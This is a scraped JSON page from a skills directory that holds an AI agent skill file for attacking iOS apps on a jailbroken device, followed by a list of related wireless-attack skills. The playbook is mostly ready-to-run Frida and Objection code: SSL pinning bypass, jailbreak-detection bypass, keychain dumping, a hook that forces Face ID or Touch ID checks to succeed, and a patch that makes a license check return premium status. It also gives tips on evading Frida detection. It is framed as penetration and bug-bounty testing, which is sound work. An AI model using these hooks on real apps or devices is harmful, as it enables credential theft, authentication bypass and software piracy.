[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798DMM4J9SNC79PZYS80GTS":3,"skill-same:01M798DMM4J9SNC79PZYS80GTS":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798DMM4J9SNC79PZYS80GTS","dynamic",null,"iOS dynamic instrumentation on jailbroken device — Frida\u002FObjection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric\u002FLAContext bypass, and ObjC runtime method hooking.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fmobile\u002Fios\u002Fdynamic\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: dynamic\ndescription: iOS dynamic instrumentation on jailbroken device — Frida\u002FObjection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric\u002FLAContext bypass, and ObjC runtime method hooking.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: mobile\n  when_to_use: \"ios dynamic frida objection jailbreak ssl kill switch pinning bypass keychain dump biometric faceid touchid lacontext jailbreak-detection palera1n unc0ver checkra1n cycript\"\n  tags: ios, frida, objection, ssl-pinning, jailbreak, keychain, biometric, lacontext\n  mitre_attack: T1635, T1521.003, T1517, T1633\n---\n\n# iOS Dynamic Instrumentation Playbook\n\n> Jailbroken device required for full Frida\u002FObjection access. Most\n> enterprise and bounty-program iOS testing falls here. For static-only\n> analysis (no jailbreak) see `reverser\u002Fios-static\u002FSKILL.md`.\n\n## Prerequisites\n\n- iOS device jailbroken with **palera1n** (A8-A11 on iOS 16+),\n  **checkra1n** (A5-A11, up to iOS 14.8), or **unc0ver** (A12+ up to\n  iOS 14.8 with supported blobs). Confirm with `uname -v` in SSH.\n- Frida server installed via Cydia \u002F Sileo (search \"Frida\") or manually:\n\n```bash\n# SSH to device (default Cydia SSH cred: alpine)\nssh root@\u003Cdevice-ip>\n\n# Verify jailbreak + SSH works\nid   # should return uid=0(root)\nuname -v\n```\n\n- Host side: `pip install frida-tools objection`\n- Confirm connectivity:\n\n```bash\nfrida-ps -U   # lists processes on USB-connected device\n```\n\n## Path A: SSL Pinning Bypass\n\n### SSL Kill Switch 2 \u002F 3\n\nInstall via Cydia\u002FSileo (search \"SSL Kill Switch 2\" or \"SSL Kill\nSwitch 3\" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch.\nRelaunch the app; verify traffic appears in Burp (set device proxy to\nBurp listener IP:8080, install Burp CA as trusted profile via\nSettings → General → VPN & Device Management).\n\n### Objection pinning disable (preferred for on-demand toggle)\n\n```bash\n# Attach to running app\nobjection --gadget \"TargetApp\" explore\n\n# In the Objection REPL:\nios sslpinning disable\n\n# Verify: open the app, check Burp proxy for decrypted HTTPS\n```\n\n### Frida codeshare scripts (NSURLSession \u002F AFNetworking \u002F TrustKit)\n\n```bash\n# Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking)\nfrida -U -f com.target.bundle \\\n  --codeshare \"wan-make\u002Fios-ssl-pinning-bypass\" \\\n  --no-pause\n\n# TrustKit-specific bypass\nfrida -U -f com.target.bundle \\\n  --codeshare \"machorka\u002Ftrustkit-bypass\" \\\n  --no-pause\n```\n\n### Manual Frida script for custom pinners\n\n```javascript\n\u002F\u002F Hook SecTrustEvaluate + SecTrustEvaluateWithError\n\u002F\u002F Load with: frida -U -f com.target -l bypass-pin.js\nif (ObjC.available) {\n    var SecTrustEvaluateWithError = Module.findExportByName(\n        \"Security\", \"SecTrustEvaluateWithError\");\n    if (SecTrustEvaluateWithError) {\n        Interceptor.replace(SecTrustEvaluateWithError,\n            new NativeCallback(function(trust, error) {\n                if (error !== 0) Memory.writePointer(error, ptr(0));\n                return 1;  \u002F\u002F errSecSuccess\n            }, 'int', ['pointer', 'pointer']));\n    }\n}\n```\n\nVerify in Burp: `HTTPS` traffic from the target app appears decrypted.\n\n## Path B: Jailbreak-Detection Bypass\n\n### Objection built-in\n\n```bash\nobjection --gadget \"TargetApp\" explore\n\n# Disable JB detection (covers fileExistsAtPath Cydia checks + fork())\nios jailbreak disable\n```\n\n### Common detection patterns to hook manually\n\n| Pattern | API to hook |\n|---|---|\n| File presence (`\u002FApplications\u002FCydia.app`, `\u002Fbin\u002Fbash`) | `NSFileManager fileExistsAtPath:` |\n| URL scheme (`cydia:\u002F\u002F`) | `UIApplication canOpenURL:` |\n| `fork()` syscall return | `fork` (libc) |\n| `\u002Fproc\u002Fself\u002Fmaps` inspection | `open` \u002F `fopen` |\n| Dyld image name scan | `_dyld_get_image_name` |\n\n```javascript\n\u002F\u002F Frida: hook fileExistsAtPath to suppress JB file checks\nvar NSFileManager = ObjC.classes.NSFileManager;\nvar orig = NSFileManager[\"- fileExistsAtPath:\"].implementation;\nInterceptor.replace(orig, ObjC.implement(\n    NSFileManager[\"- fileExistsAtPath:\"],\n    function(self, sel, path) {\n        var p = ObjC.Object(path).toString();\n        var jbPaths = [\"\u002FApplications\u002FCydia.app\", \"\u002Fbin\u002Fbash\",\n                       \"\u002Fusr\u002Fsbin\u002Fsshd\", \"\u002Fetc\u002Fapt\", \"\u002Fprivate\u002Fvar\u002Flib\u002Fapt\u002F\"];\n        for (var i = 0; i \u003C jbPaths.length; i++) {\n            if (p.indexOf(jbPaths[i]) !== -1) return 0;  \u002F\u002F false\n        }\n        return orig(self, sel, path);\n    }\n));\n```\n\n### Liberty Lite \u002F A-Bypass (tweak-side)\n\nInstall Liberty Lite or A-Bypass from Cydia\u002FSileo → enable per-app\ntoggle before launch. Faster than scripting for commodity JB checks.\n\n## Path C: Keychain Dump\n\n### Objection keychain dump\n\n```bash\nobjection --gadget \"TargetApp\" explore\n\n# Dump all items accessible in app context\nios keychain dump\n\n# Output: account, service, access group, kSecAttrAccessible class, value\n```\n\n### Frida hook on SecItemCopyMatching\n\n```javascript\n\u002F\u002F Log every keychain query result\nvar SecItemCopyMatching = Module.findExportByName(\n    \"Security\", \"SecItemCopyMatching\");\nInterceptor.attach(SecItemCopyMatching, {\n    onEnter: function(args) { this.result = args[1]; },\n    onLeave: function(retval) {\n        if (retval.toInt32() === 0 && !this.result.isNull()) {\n            var items = new ObjC.Object(this.result.readPointer());\n            console.log(\"[KC]\", items.toString());\n        }\n    }\n});\n```\n\n### `kSecAttrAccessible` misconfig findings\n\n| Value | Finding |\n|---|---|\n| `kSecAttrAccessibleAlways` | Critical — readable without unlock, even after reboot |\n| `kSecAttrAccessibleAlwaysThisDeviceOnly` | High — readable without unlock |\n| `kSecAttrAccessibleAfterFirstUnlock` | Medium if secrets are high-value |\n| `kSecAttrAccessibleWhenUnlocked` | Acceptable baseline |\n| `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Secure — requires passcode |\n\n## Path D: Biometric \u002F LAContext Bypass\n\n### Hook evaluatePolicy to always succeed\n\n```javascript\n\u002F\u002F Bypass LAContext biometric prompt — returns kLAErrorSuccess\nvar LAContext = ObjC.classes.LAContext;\nInterceptor.attach(\n    LAContext[\"- evaluatePolicy:localizedReason:reply:\"].implementation,\n    {\n        onEnter: function(args) {\n            \u002F\u002F args[3] = reply block (id, NSError*)\n            var replyBlock = new ObjC.Block(args[3]);\n            var origImpl = replyBlock.implementation;\n            replyBlock.implementation = function(success, error) {\n                origImpl(1, null);  \u002F\u002F force success=YES, error=nil\n            };\n        }\n    }\n);\n```\n\n### Objection biometric bypass\n\n```bash\nobjection --gadget \"TargetApp\" explore\nios ui biometrics_bypass\n```\n\n## Path E: ObjC Runtime Method Swizzling (License \u002F Auth Checks)\n\n```javascript\n\u002F\u002F Example: patch -[LicenseManager isPremiumUser] to return YES\nJava.perform(function() {});  \u002F\u002F no-op; use ObjC.available block\n\nvar LicenseMgr = ObjC.classes.LicenseManager;\nif (LicenseMgr && LicenseMgr[\"- isPremiumUser\"]) {\n    Interceptor.replace(\n        LicenseMgr[\"- isPremiumUser\"].implementation,\n        ObjC.implement(LicenseMgr[\"- isPremiumUser\"], function(self, sel) {\n            console.log(\"[+] isPremiumUser hooked -> returning YES\");\n            return 1;\n        })\n    );\n}\n```\n\n```bash\n# One-liner attach to running process\nfrida -U -n TargetApp -e \"ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});\"\n```\n\n## Evidence\n\nCapture Burp traffic screenshot showing decrypted HTTPS after pinning\nbypass. Save keychain dump to `\u002Fworkspace\u002Fevidence\u002Fmobile\u002F\u003Cbundle-id>\u002Fkeychain.txt`.\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"iOS SSL pinning bypassable\",\n    props={\n        \"key\": f\"ios-ssl-pin::{bundle_id}\",\n        \"severity\": \"high\",\n        \"cvss\": 7.4,\n        \"bundle_id\": bundle_id,\n        \"bypass_method\": \"objection+ssl-kill-switch\",\n        \"traffic_captured\": True,\n    },\n)\n\nkg_add_node(\n    kind=\"finding\",\n    label=\"iOS keychain kSecAttrAccessibleAlways item\",\n    props={\n        \"key\": f\"ios-keychain-acl::{bundle_id}\",\n        \"severity\": \"critical\",\n        \"service\": \"\u003Cservice-name>\",\n        \"account\": \"\u003Caccount-name>\",\n        \"accessible_class\": \"kSecAttrAccessibleAlways\",\n    },\n)\n```\n\n## ZFP\n\nTwo-method evidence per finding:\n\n1. **Pinning bypass**: Burp HTTP history screenshot with decrypted HTTPS\n   requests from the target app visible.\n2. **Keychain misconfig**: `ios keychain dump` output showing\n   `kSecAttrAccessibleAlways` class + sensitive value.\n3. **Biometric bypass**: screen recording of the app unlocking without\n   presenting a Face ID prompt after the hook fires.\n\n## OPSEC Notes\n\n- Jailbreaking leaves fingerprints: jailbroken device connects to\n  Apple ID — use a dedicated Apple ID for testing; avoid using personal\n  iCloud account.\n- Frida injects a Gadget dylib; some apps detect `frida-agent` in\n  the dyld image list. Counter: Frida Gadget injection via\n  `objection patchipa` or `optool` (embed Gadget, re-sign with\n  `codesign`).\n- SSL Kill Switch modifies a system library; some app-layer integrity\n  checks may detect it. Script-based bypass (injected Frida) leaves\n  fewer static artifacts than a system tweak.\n- `palera1n` tethered jailbreak: device reboots to unjailbroken state;\n  re-jailbreak each power cycle during long engagements.\n\n## Severity Table\n\n| Bug | Severity |\n|---|---|\n| Keychain `kSecAttrAccessibleAlways` with auth token | Critical 9.5 |\n| SSL pinning fully absent or bypassable without JB | High 8.0 |\n| Jailbreak detection absent | Informational |\n| Biometric bypass exposing auth flow | High 7.5 |\n| `kSecAttrAccessibleAfterFirstUnlock` with secrets | Medium 5.5 |\n\n## References\n\n- palera1n: https:\u002F\u002Fgithub.com\u002Fpalera1n\u002Fpalera1n\n- Frida: https:\u002F\u002Ffrida.re\u002Fdocs\u002Fios\u002F\n- Objection: https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fobjection\n- SSL Kill Switch 3: https:\u002F\u002Fgithub.com\u002FTym0n\u002FSSL-Kill-Switch3\n- Codeshare universal bypass: https:\u002F\u002Fcodeshare.frida.re\u002F@wan-make\u002Fios-ssl-pinning-bypass\u002F\n- Cross-ref static analysis: `reverser\u002Fios-static\u002FSKILL.md`\n","# iOS Dynamic Instrumentation Playbook\n\n> Jailbroken device required for full Frida\u002FObjection access. Most\n> enterprise and bounty-program iOS testing falls here. For static-only\n> analysis (no jailbreak) see `reverser\u002Fios-static\u002FSKILL.md`.\n\n## Prerequisites\n\n- iOS device jailbroken with **palera1n** (A8-A11 on iOS 16+),\n  **checkra1n** (A5-A11, up to iOS 14.8), or **unc0ver** (A12+ up to\n  iOS 14.8 with supported blobs). Confirm with `uname -v` in SSH.\n- Frida server installed via Cydia \u002F Sileo (search \"Frida\") or manually:\n\n```bash\n# SSH to device (default Cydia SSH cred: alpine)\nssh root@\u003Cdevice-ip>\n\n# Verify jailbreak + SSH works\nid   # should return uid=0(root)\nuname -v\n```\n\n- Host side: `pip install frida-tools objection`\n- Confirm connectivity:\n\n```bash\nfrida-ps -U   # lists processes on USB-connected device\n```\n\n## Path A: SSL Pinning Bypass\n\n### SSL Kill Switch 2 \u002F 3\n\nInstall via Cydia\u002FSileo (search \"SSL Kill Switch 2\" or \"SSL Kill\nSwitch 3\" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch.\nRelaunch the app; verify traffic appears in Burp (set device proxy to\nBurp listener IP:8080, install Burp CA as trusted profile via\nSettings → General → VPN & Device Management).\n\n### Objection pinning disable (preferred for on-demand toggle)\n\n```bash\n# Attach to running app\nobjection --gadget \"TargetApp\" explore\n\n# In the Objection REPL:\nios sslpinning disable\n\n# Verify: open the app, check Burp proxy for decrypted HTTPS\n```\n\n### Frida codeshare scripts (NSURLSession \u002F AFNetworking \u002F TrustKit)\n\n```bash\n# Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking)\nfrida -U -f com.target.bundle \\\n  --codeshare \"wan-make\u002Fios-ssl-pinning-bypass\" \\\n  --no-pause\n\n# TrustKit-specific bypass\nfrida -U -f com.target.bundle \\\n  --codeshare \"machorka\u002Ftrustkit-bypass\" \\\n  --no-pause\n```\n\n### Manual Frida script for custom pinners\n\n```javascript\n\u002F\u002F Hook SecTrustEvaluate + SecTrustEvaluateWithError\n\u002F\u002F Load with: frida -U -f com.target -l bypass-pin.js\nif (ObjC.available) {\n    var SecTrustEvaluateWithError = Module.findExportByName(\n        \"Security\", \"SecTrustEvaluateWithError\");\n    if (SecTrustEvaluateWithError) {\n        Interceptor.replace(SecTrustEvaluateWithError,\n            new NativeCallback(function(trust, error) {\n                if (error !== 0) Memory.writePointer(error, ptr(0));\n                return 1;  \u002F\u002F errSecSuccess\n            }, 'int', ['pointer', 'pointer']));\n    }\n}\n```\n\nVerify in Burp: `HTTPS` traffic from the target app appears decrypted.\n\n## Path B: Jailbreak-Detection Bypass\n\n### Objection built-in\n\n```bash\nobjection --gadget \"TargetApp\" explore\n\n# Disable JB detection (covers fileExistsAtPath Cydia checks + fork())\nios jailbreak disable\n```\n\n### Common detection patterns to hook manually\n\n| Pattern | API to hook |\n|---|---|\n| File presence (`\u002FApplications\u002FCydia.app`, `\u002Fbin\u002Fbash`) | `NSFileManager fileExistsAtPath:` |\n| URL scheme (`cydia:\u002F\u002F`) | `UIApplication canOpenURL:` |\n| `fork()` syscall return | `fork` (libc) |\n| `\u002Fproc\u002Fself\u002Fmaps` inspection | `open` \u002F `fopen` |\n| Dyld image name scan | `_dyld_get_image_name` |\n\n```javascript\n\u002F\u002F Frida: hook fileExistsAtPath to suppress JB file checks\nvar NSFileManager = ObjC.classes.NSFileManager;\nvar orig = NSFileManager[\"- fileExistsAtPath:\"].implementation;\nInterceptor.replace(orig, ObjC.implement(\n    NSFileManager[\"- fileExistsAtPath:\"],\n    function(self, sel, path) {\n        var p = ObjC.Object(path).toString();\n        var jbPaths = [\"\u002FApplications\u002FCydia.app\", \"\u002Fbin\u002Fbash\",\n                       \"\u002Fusr\u002Fsbin\u002Fsshd\", \"\u002Fetc\u002Fapt\", \"\u002Fprivate\u002Fvar\u002Flib\u002Fapt\u002F\"];\n        for (var i = 0; i \u003C jbPaths.length; i++) {\n            if (p.indexOf(jbPaths[i]) !== -1) return 0;  \u002F\u002F false\n        }\n        return orig(self, sel, path);\n    }\n));\n```\n\n### Liberty Lite \u002F A-Bypass (tweak-side)\n\nInstall Liberty Lite or A-Bypass from Cydia\u002FSileo → enable per-app\ntoggle before launch. Faster than scripting for commodity JB checks.\n\n## Path C: Keychain Dump\n\n### Objection keychain dump\n\n```bash\nobjection --gadget \"TargetApp\" explore\n\n# Dump all items accessible in app context\nios keychain dump\n\n# Output: account, service, access group, kSecAttrAccessible class, value\n```\n\n### Frida hook on SecItemCopyMatching\n\n```javascript\n\u002F\u002F Log every keychain query result\nvar SecItemCopyMatching = Module.findExportByName(\n    \"Security\", \"SecItemCopyMatching\");\nInterceptor.attach(SecItemCopyMatching, {\n    onEnter: function(args) { this.result = args[1]; },\n    onLeave: function(retval) {\n        if (retval.toInt32() === 0 && !this.result.isNull()) {\n            var items = new ObjC.Object(this.result.readPointer());\n            console.log(\"[KC]\", items.toString());\n        }\n    }\n});\n```\n\n### `kSecAttrAccessible` misconfig findings\n\n| Value | Finding |\n|---|---|\n| `kSecAttrAccessibleAlways` | Critical — readable without unlock, even after reboot |\n| `kSecAttrAccessibleAlwaysThisDeviceOnly` | High — readable without unlock |\n| `kSecAttrAccessibleAfterFirstUnlock` | Medium if secrets are high-value |\n| `kSecAttrAccessibleWhenUnlocked` | Acceptable baseline |\n| `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Secure — requires passcode |\n\n## Path D: Biometric \u002F LAContext Bypass\n\n### Hook evaluatePolicy to always succeed\n\n```javascript\n\u002F\u002F Bypass LAContext biometric prompt — returns kLAErrorSuccess\nvar LAContext = ObjC.classes.LAContext;\nInterceptor.attach(\n    LAContext[\"- evaluatePolicy:localizedReason:reply:\"].implementation,\n    {\n        onEnter: function(args) {\n            \u002F\u002F args[3] = reply block (id, NSError*)\n            var replyBlock = new ObjC.Block(args[3]);\n            var origImpl = replyBlock.implementation;\n            replyBlock.implementation = function(success, error) {\n                origImpl(1, null);  \u002F\u002F force success=YES, error=nil\n            };\n        }\n    }\n);\n```\n\n### Objection biometric bypass\n\n```bash\nobjection --gadget \"TargetApp\" explore\nios ui biometrics_bypass\n```\n\n## Path E: ObjC Runtime Method Swizzling (License \u002F Auth Checks)\n\n```javascript\n\u002F\u002F Example: patch -[LicenseManager isPremiumUser] to return YES\nJava.perform(function() {});  \u002F\u002F no-op; use ObjC.available block\n\nvar LicenseMgr = ObjC.classes.LicenseManager;\nif (LicenseMgr && LicenseMgr[\"- isPremiumUser\"]) {\n    Interceptor.replace(\n        LicenseMgr[\"- isPremiumUser\"].implementation,\n        ObjC.implement(LicenseMgr[\"- isPremiumUser\"], function(self, sel) {\n            console.log(\"[+] isPremiumUser hooked -> returning YES\");\n            return 1;\n        })\n    );\n}\n```\n\n```bash\n# One-liner attach to running process\nfrida -U -n TargetApp -e \"ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});\"\n```\n\n## Evidence\n\nCapture Burp traffic screenshot showing decrypted HTTPS after pinning\nbypass. Save keychain dump to `\u002Fworkspace\u002Fevidence\u002Fmobile\u002F\u003Cbundle-id>\u002Fkeychain.txt`.\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"iOS SSL pinning bypassable\",\n    props={\n        \"key\": f\"ios-ssl-pin::{bundle_id}\",\n        \"severity\": \"high\",\n        \"cvss\": 7.4,\n        \"bundle_id\": bundle_id,\n        \"bypass_method\": \"objection+ssl-kill-switch\",\n        \"traffic_captured\": True,\n    },\n)\n\nkg_add_node(\n    kind=\"finding\",\n    label=\"iOS keychain kSecAttrAccessibleAlways item\",\n    props={\n        \"key\": f\"ios-keychain-acl::{bundle_id}\",\n        \"severity\": \"critical\",\n        \"service\": \"\u003Cservice-name>\",\n        \"account\": \"\u003Caccount-name>\",\n        \"accessible_class\": \"kSecAttrAccessibleAlways\",\n    },\n)\n```\n\n## ZFP\n\nTwo-method evidence per finding:\n\n1. **Pinning bypass**: Burp HTTP history screenshot with decrypted HTTPS\n   requests from the target app visible.\n2. **Keychain misconfig**: `ios keychain dump` output showing\n   `kSecAttrAccessibleAlways` class + sensitive value.\n3. **Biometric bypass**: screen recording of the app unlocking without\n   presenting a Face ID prompt after the hook fires.\n\n## OPSEC Notes\n\n- Jailbreaking leaves fingerprints: jailbroken device connects to\n  Apple ID — use a dedicated Apple ID for testing; avoid using personal\n  iCloud account.\n- Frida injects a Gadget dylib; some apps detect `frida-agent` in\n  the dyld image list. Counter: Frida Gadget injection via\n  `objection patchipa` or `optool` (embed Gadget, re-sign with\n  `codesign`).\n- SSL Kill Switch modifies a system library; some app-layer integrity\n  checks may detect it. Script-based bypass (injected Frida) leaves\n  fewer static artifacts than a system tweak.\n- `palera1n` tethered jailbreak: device reboots to unjailbroken state;\n  re-jailbreak each power cycle during long engagements.\n\n## Severity Table\n\n| Bug | Severity |\n|---|---|\n| Keychain `kSecAttrAccessibleAlways` with auth token | Critical 9.5 |\n| SSL pinning fully absent or bypassable without JB | High 8.0 |\n| Jailbreak detection absent | Informational |\n| Biometric bypass exposing auth flow | High 7.5 |\n| `kSecAttrAccessibleAfterFirstUnlock` with secrets | Medium 5.5 |\n\n## References\n\n- palera1n: https:\u002F\u002Fgithub.com\u002Fpalera1n\u002Fpalera1n\n- Frida: https:\u002F\u002Ffrida.re\u002Fdocs\u002Fios\u002F\n- Objection: https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fobjection\n- SSL Kill Switch 3: https:\u002F\u002Fgithub.com\u002FTym0n\u002FSSL-Kill-Switch3\n- Codeshare universal bypass: https:\u002F\u002Fcodeshare.frida.re\u002F@wan-make\u002Fios-ssl-pinning-bypass\u002F\n- Cross-ref static analysis: `reverser\u002Fios-static\u002FSKILL.md`\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ios, frida, objection, ssl-pinning, jailbreak, keychain, biometric, lacontext","mobile","ios dynamic frida objection jailbreak ssl kill switch pinning bypass keychain dump biometric faceid touchid lacontext jailbreak-detection palera1n unc0ver checkra1n cycript","T1635, T1521.003, T1517, T1633","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fmobile\u002Fios\u002Fdynamic",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dynamic",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dynamic",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill dynamic","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fmobile\u002Fios\u002Fdynamic\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]